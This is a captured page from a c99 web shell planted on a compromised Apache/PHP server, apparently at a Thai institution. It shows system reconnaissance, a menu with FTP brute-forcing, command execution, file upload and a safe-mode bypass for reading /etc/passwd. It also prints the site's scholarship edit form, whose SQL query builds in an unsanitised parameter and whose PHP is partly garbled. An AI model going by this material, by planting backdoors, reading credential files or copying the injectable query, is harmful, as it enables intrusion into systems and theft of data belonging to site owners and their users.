!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage/Std_Acc_depart/Scholarship/   drwxr-xr-x
Free 52.61 GB of 127.8 GB (41.17%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     FrmEdit.php (4.15 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
   
include("../../Include/FunctionDB.php");
   include(
"../../include/Function.php");
   
ConnectDB();
   
$sql "Select * From scholarship_tb Where Scholarship_code='$Scholarship_code' ";
   
$result mysql_query($sql) or die("Error SQL".mysql_error());
   
$rs mysql_fetch_array($result);
?>
<html>
<head>
<title>Edit Scholarship</title>
<link rel="stylesheet" href="../../css/style1.css" type="text/css">
<meta http-equiv="Content-Type" content="text/html; charset=windows-874">
</head>

<body bgcolor="#FFFFFF">
<table width="95%" border="0" align="center" cellpadding="0" cellspacing="1" bordercolor="#006699">
  <tr bgcolor="#8199A3"> 
    <td colspan="3"> 
      <div align="center"><strong><font color="#FF0000" size="4" face="Tahoma">แก้ไข</font><font color="#FFFFFF" size="4" face="Tahoma"> 
        ทุนการศึกษา และ เงินกู้ยืมเพื่อการศึกษา</font></strong></div></td>
  </tr>
  <form action="EditScho.php" method="post">
    <tr bgcolor="#EEEEEE"> 
      <td width="29%"> <div align="center"><font color="#003366" size="2" face="Tahoma">ชื่อทุน</font></div></td>
      <td width="2%" bordercolor="#006699">&nbsp;</td>
      <td width="69%" bordercolor="#006699"> <input name="Scholarship_name" type="text" class="input" id="Scholarship_name" value="<? echo $rs[Scholarship_name]?>"  size="60"></td>
    </tr>
    <tr bgcolor="#EEEEEE"> 
      <td rowspan="2" bgcolor="#EEEEEE"> <div align="center"><font color="#003366" size="2" face="Tahoma">ประเภท</font></div></td>
      <td bordercolor="#006699">&nbsp;</td>
      <td bordercolor="#006699"><font size="2" face="Tahoma"> 
        <input type="radio" name="Scholarship_type" <?php if (!(strcmp("$rs[Scholarship_type]",ได้เปล่า์))) {echo "checked";} ?> value="ได้เปล่า">
        ได้เปล่า 
        <input type="radio" name="Scholarship_type" <?php if (!(strcmp("$rs[Scholarship_type]",ให้ยืม))) {echo "checked";} ?> value="ให้ยืม">
        ให้ยืม</font></td>
    </tr>
    <tr bgcolor="#EEEEEE"> 
      <td height="20" bordercolor="#006699">&nbsp;</td>
      <td bordercolor="#006699"><table width="100%" border="0" cellspacing="0" cellpadding="0">
          <tr> 
            <td width="16%"><font size="2" face="Tahoma"> 
              <input type="radio" name="Scholarship_type" <?php if (!(strcmp("$rs[Scholarship_type]"กู้ยืม))) {echo "checked";} ?> value="กู้ยืม">
              กู้ยืม </font></td>
            <td width="84%"><select name="select">
                <option value="รัฐบาล">รัฐบาล</option>
                <option value="สวัสดิการ ว.พ.บ">สวัสดิการ ว.พ.บ</option>
              </select></td>
          </tr>
        </table></td>
    </tr>
    <tr bgcolor="#EEEEEE"> 
      <td height="20"><div align="center"><font color="#003366" size="2" face="Tahoma">แหล่งทุน 
          / ที่อยู่</font></div></td>
      <td bordercolor="#006699">&nbsp;</td>
      <td bordercolor="#006699"><textarea name="Source" cols="40" rows="5" id="Source"><? echo $rs[Source]?></textarea></td>
    </tr>
    <tr bgcolor="#EEEEEE"> 
      <td> <div align="center"><font color="#003366" size="2" face="Tahoma">จำนวนเงิน</font></div></td>
      <td bordercolor="#006699">&nbsp;</td>
      <td bordercolor="#006699"> <input name="Fund" type="text" id="Fund" value="<? echo $rs[Fund]?>">
        <font color="#003366" size="2" face="Tahoma">บาท</font></td>
    </tr>
    <tr bgcolor="#EEEEEE"> 
      <td bgcolor="#EEEEEE"> <div align="center"><font color="#003366" size="2" face="Tahoma">ระยะเวลาที่ได้รับทุน</font></div></td>
      <td bordercolor="#006699">&nbsp;</td>
      <td bordercolor="#006699"><font size="2" face="Tahoma">
        <input type="radio" name="Period" <?php if (!(strcmp("$rs[Period]",ต่อปี))) {echo "checked";} ?> value="ต่อปี">
        ต่อปี 
        <input type="radio" name="Period" <?php if (!(strcmp("$rs[Period]",ตลอดหลักสูตร))) {echo "checked";} ?> value="ตลอดหลักสูตร">
        ตลอดหลักสูตร</font></td>
    </tr>
    <tr bgcolor="#8199A3"> 
      <td colspan="3"> 
        <div align="center"> 
          <input name="Scholarship_code" type="hidden" id="code" value="<? echo $rs[Scholarship_code]?>">
          <input type="submit" name="Submit" value="    บันทึก   ">
        </div></td>
    </tr>
  </form>
</table>
</body>
</html>
<?php 
CloseDB
();
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0061 ]--